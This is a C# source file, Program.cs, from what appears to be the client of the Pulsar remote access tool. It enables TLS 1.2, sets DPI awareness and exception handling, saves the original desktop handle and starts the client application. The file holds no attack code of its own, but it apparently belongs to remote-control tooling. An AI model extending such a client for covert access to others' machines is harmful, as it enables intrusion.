Files
PulsarK-main/Pulsar.Client/Program.cs
T

47 lines
1.4 KiB
C#
Raw Normal View History

2026-08-27 10:57:58 -06:00
using Pulsar.Client.Config;
using Pulsar.Client.IO;
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Client
{
internal static class Program
{
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetThreadDesktop(uint dwThreadId);
[DllImport("kernel32.dll")]
private static extern uint GetCurrentThreadId();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetProcessDPIAware();
[STAThread]
private static void Main()
{
// enable TLS 1.2
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
SetProcessDPIAware();
// Set the unhandled exception mode to force all Windows Forms errors to go through our handler
Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
SaveOriginalDesktop();
Application.Run(new PulsarApplication());
}
private static void SaveOriginalDesktop()
{
Settings.OriginalDesktopPointer = GetThreadDesktop(GetCurrentThreadId());
}
}
}